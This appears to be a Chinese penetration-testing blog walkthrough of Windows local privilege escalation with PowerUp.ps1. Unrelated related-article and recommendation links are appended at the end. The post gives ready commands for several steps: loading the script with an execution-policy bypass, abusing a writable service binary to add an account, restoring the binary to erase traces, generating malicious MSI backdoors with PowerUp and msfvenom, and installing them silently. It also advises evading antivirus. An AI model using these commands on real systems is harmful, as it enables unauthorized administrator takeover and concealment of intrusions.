PowerUp攻击模块实战
1.将PowerUp.ps1脚本上传至目标服务器,然后在本地执行
2.使用IEX在内存中加载此脚本,执行以下命令,脚本将进行所有的检查。
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1'); Invoke-AllChecks"
由于检查项较多,输出内容繁杂,可以导出方便分析查看。
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1'); Invoke-AllChecks" > sys.txt
也可以在cmd下导入模块绕过策略执行:
powershell.exe -exec bypass -Command "& {Import-Module c:\PowerUp.ps1; Invoke-AllChecks}"
可以看出,Powerup 列出了可能存在问题的所有服务,并在AbuseFunction中直接给出了利用方式。
第一部分通过 Get-ServiceUnquoted 模块(利用 windows 的一个逻辑漏洞,即当文件包含空格时,windows API 会解释为两个路径,并将这两个文件同时执行,有些时候可能会造成权限的提升)检测出了有 "Vulnerable Service"、"OmniServ"、"OmniServer"、"OmniServers" 四个服务存在此逻辑漏洞,但是都没有写入权限,所以并不能被我们利用来提权。第二部分通过 Test-ServiceDaclPermission 模块(检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则存在此漏洞)检测出当前用户可以在 "OmniServers" 服务的目录写入相关联的可执行文件,并且通过这些文件来进行提权。
漏洞利用原理:Windows 系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。比如,JAVA 升级程序,每次重启系统时,JAVA 升级程序会检测 Oracle 网站,是否有新版 JAVA 程序。而类似 JAVA 程序之类的系统服务程序加载时往往都是运行在系统权限上的。所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成我们的恶意可执行文件,从而随着系统启动服务而获得系统权限。
2)测试写权限
我们可以使用 icacls(Windows 内建的一个工具,用来检查对有漏洞目录是否有写入的权限)来验证下 PowerUp 脚本检测是否正确,我们先对于检测出来的漏洞目录进行权限的检测
icacls "C:\Program Files\Windows Media Player\wmpnetwk.exe"
"Everyone" 用户对这个文件有完全控制权,就是说所有用户都具有全部权限修改这个文件夹。
参数说明:"M" 表示修改,"F" 代表完全控制,"CI" 代表从属容器将继承访问控制项,"OI" 代表从属文件将继承访问控制项。这意味着对该目录有读,写,删除其下的文件,删除该目录下的子目录的权限。
3)权限提升
在这里我们使用 AbuseFunction 那里已经给出的具体操作方式,
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Invoke-ServiceAbuse -Name 'WMPNetworkSvc' -UserName micr067 -Password
admin@123
之后当管理员运行该服务的时候,则会添加我们的账号。(账号未添加,后续再研究)
4)删除痕迹
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Restore-ServiceBinary -ServiceName 'WMPNetworkSvc'
恢复
"C:\Program Files\Windows Media Player\wmpnetwk.exe.bak"
为
"C:\Program Files\Windows Media Player\wmpnetwk.exe"
l 移除备份二进制文件‘
"C:\Program Files\Windows Media Player\wmpnetwk.exe.bak"
上传PowerUp.ps1到目标机器
使用 Powerup 的 Get-RegistryAlwaysInstallElevated 模块来检查注册表项是否被设置,此策略在本地策略编辑器(gpedit.msc):
关于AlwaysInstallElevated 注册表项
Windows 环境提供组策略设置,允许常规用户安装具有系统权限的 Microsoft Windows Installer 程序包(MSI)。这可以在标准用户想要安装需要系统权限的应用程序的环境中发 现,并且管理员希望避免向用户提供临时本地管理员访问权限。Windows 环境提供组策略设置,允许常规用户安装具有系统权限的 Microsoft Windows Installer 程序包(MSI)。这可以在标准用户想要安装需要系统权限的应用程序的环境中发 现,并且管理员希望避免向用户提供临时本地管理员访问权限。
如果 AlwaysInstallElevated 注册表项被设置,意味着的 MSI 文件是以 system 权限运行的。命令如下,True 表示已经设置
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Get-RegistryAlwaysInstallElevated
也可以使用注册表查看
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
0x02 权限提升
接着我们需要生成恶意的MSI安装文件,让其来添加用户,第一种方法可以使用PowerUp脚本自带的 Write-UserAddMSI 模块,运行后生成文件 UserAdd.msi
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Write-UserAddMSI
然后我们以普通用户权限运行这个 UserAdd.msi,就会成功添加账户:
由于我是在payload域环境下,密码需要符合密码强度才能添加,否侧会弹窗报错!
添加了一个backdoor用户。
并且是管理员权限。
第二种方法,通过msfvenom生成一个msi后门,同样可以实现上面的功能。
msfvenom -f msi -p windows/adduser USER=micr067 PASS=Qwer1234! -o /root/add.msi
注意:此处对密码强度有要求,否则会报错!
meterpreter上传msi木马,然后运行即可
msiexec工具相关的参数:
/quiet=安装过程中禁止向用户发送消息
/qn=不使用图形界面
/i=安装程序
执行之后,成功添加上了该账号密码。当然这里也可以直接生成木马程序。
注:由于是msf生成的msi文件,所以默认会被杀毒软件拦截,做好免杀。
msiexec /quiet /qn /i C:\add.msi
成功添加用户。
msf下存在自动化的脚本供我们提权使用
exploit/windows/local/always_install_elevated
- PowerUp攻击渗透实战
记录下PowerUp在实战渗透中的利用 准备环境: kali linux 攻击机 已获得靶机meterpreter(非管理)权限 win7 靶机 拥有powershell环境 1)Invoke-Al ...
- POWERUP攻击渗透实战2
准备环境: kali linux 攻击机 已获得靶机meterpreter(非管理)权限 win7 靶机 拥有powershell环境 运用到的模块:Get-RegistryAlwaysInstal ...
- AFP溢出攻击模块afp/loginext
AFP溢出攻击模块afp/loginext 在苹果Mac OS X 10.3.3及以前版本,AFP服务存在缓存区溢出漏洞CVE-2004-0430.利用该漏洞,用户可以基于LoginExt包执行任 ...
- (转)网站DDOS攻击防护实战老男孩经验心得分享
网站DDOS攻击防护实战老男孩经验心得分享 原文:http://blog.51cto.com/oldboy/845349
- Metasploit自动攻击模块
Metasploit自动攻击模块 Usage: db_autopwn [options] -h Display this help text -t Show all matching exploit ...
- 【研究】Metasploit自动攻击模块
环境:kali-linux-2017.3-vm-amd64 一.安装postgresql数据库 apt-get install postgresql apt-get install rubygems ...
- Burp Suite Intruder Module - 攻击模块
参考链接:https://portswigger.net/burp/documentation/desktop/tools/intruder/using 主要思路:在Intruder模块下设定Targ ...
- Python常用模块实战之ATM和购物车系统再升级
目录 一.项目地址 二.功能需求 一.项目地址 https://github.com/nickchen121/atm 二.功能需求 FUNC_MSG = { '0': '注销', '1': '登录', ...
- powershell(一)
Windows powershell是一种命令行外壳程序和脚本环境,它内置在win7以上版本的操作系统中,使命令行用户和脚本编写者可以利用.NET Framework的强大功能.powershell程 ...
随机推荐
- hadoop snapshot 备份恢复 .
1.允许创建快照 首先,在你想要进行备份的文件夹下面 执行命令,允许该文件夹创建快照 hdfs dfsadmin -allowSnapshot <path> 例如:hdfs dfsadmi ...
- @classmethod @staticmethod 个人理解
官方解释 @classmethod 一个类方法把类自己作为第一个实参, 就像一个实例方法把实例自己作为第一个实参. 语法格式: class C: @classmethod def f(cls, arg ...
- CoDeSys
CoDeSys是全球最著名的PLC内核软件研发厂家德国的3S(SMART,SOFTWARE,SOLUTIONS)公司出的一款与制造商无关的IEC 61131-1编程软件.CoDeSys 支持完整版本的 ...
- Linux ln 软、硬链接
最近在学习Linux系统的,给我的感觉就是“智慧的结晶,智慧的大脑,智慧的操作” 今天研究到了一个有趣的命令 ln 我们先来看一下它的概念吧 Linux ln命令是一个非常重要命令,它的功能是为 ...
- Linux 笔记 - 第五章 Linux 用户与用户组管理
博客地址:http://www.moonxy.com Linux 是一个多用户的操作系统,在日常的使用中,从安全角度考虑,应该尽量避免直接使用 root 用户登录,而使用普通用户. 1. 关于用户 u ...
- python里的while循环和if循环
一.循环的概念 循环是程序设计语言中反复执行某些代码的一种计算机处理过程,常见的有按照次数循环和按条件循环. 二.循环的基本格式 (while循环的基本格式) a=1#定义一个数 while a==1 ...
- ssh免密码登陆(集群多台机器之间免密码登陆)
1. 首先在配置hosts文件(每台机器都要) 进入root权限 vi /etc/hosts 添加每台机器的ip + 主机名,例如: 172.18.23.201 hadoop1 172.18.23.1 ...
- FPGA 内部详细架构你明白了吗?
FPGA 芯片整体架构如下所示,大体按照时钟域划分的,即根据不同的工艺.器件速度和对应的时钟进行划分: FPGA 内部详细架构又细分为如下六大模块: 1.可编程输入输出单元(IOB)(Input Ou ...
- java自学小段 产生随机数
public class Suijishu { public static void main(String[] args) { double i=Math.random();//产生一个0-0.5的 ...
- Spring 梳理 - AOP那些学术概念—通知、增强处理连接点(JoinPoint)切面(Aspect)
Spring AOP那些学术概念—通知.增强处理连接点(JoinPoint)切面(Aspect) 1.我所知道的AOP 初看起来,上来就是一大堆的术语,而且还有个拉风的名字,面向切面编程,都说是 ...